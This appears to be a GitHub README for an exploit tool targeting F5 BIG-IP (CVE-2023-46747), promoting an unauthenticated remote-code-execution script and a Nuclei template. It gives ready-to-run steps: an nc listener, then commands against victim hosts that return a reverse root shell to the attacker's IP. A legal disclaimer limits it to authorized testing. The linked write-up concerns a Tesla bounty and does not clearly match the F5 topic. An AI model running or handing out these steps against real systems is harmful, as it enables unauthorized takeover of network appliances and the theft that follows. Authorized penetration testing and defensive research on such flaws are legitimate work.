razzlemouse/f5-big-ip-smuggleshell-cve-2023-46747-exploit#F5-BIG-IP-CVE-2023-46747-Exploit – Unauthenticated RCE Python exploit & Nuclei template by Raguraman ✓ Automated TCP reverse shell (LHOST/LPORT) ✓ Tested on affected BIG-IP 13.x–17.x ⚠️ Authorized pentesting only
Python3 & Nuclei versions – by raguraman
Critical unauth RCE (CVSS 9.8) via AJP + HTTP request smuggling
Works on all unpatched BIG-IP 13.x → 17.x (including latest 17.1.0.3)
Patch: https://my.f5.com/manage/s/article/K000137353 (Nov 2023)
Real-world exploit write-up: 👉 https://medium.com/@razzlemouse/how-i-discovered-an-rce-vulnerability-in-tesla-securing-a-10-000-bounty-62e725c2a6bd
f5-bigip-cve-2023-46747-revshell.py → standalone Python3 (recommended)CVE-2023-46747-revshell.yaml → Nuclei template (optional)# 1. Start your listener
nc -lvnp 4444
# 2. Run the exploit (works with IP or domain)
python3 f5-bigip-cve-2023-46747-revshell.py https://192.168.10.50 YOUR_IP 4444
python3 f5-bigip-cve-2023-46747-revshell.py https://bigip.victim.com YOUR_IP 4444
# → Instant root shell!
Usage – Nuclei template (alternative)
Bash # 1. Edit LHOST and LPORT inside the YAML file
# 2. Start listener
nc -lvnp 4444
# 3. Scan
nuclei -t CVE-2023-46747-revshell.yaml -u https://target.company.com
# Legal Warning
This tool is intended solely for authorized security testing, such as:
Approved penetration testing engagements
Red team operations with written permission
Research in a controlled lab environment
Do not use this exploit on systems you do not own or lack explicit permission to test.
Unauthorized exploitation is illegal and may result in criminal prosecution.
By using this tool, you accept all responsibility for compliance with applicable laws.
The author is not liable for any misuse or damage.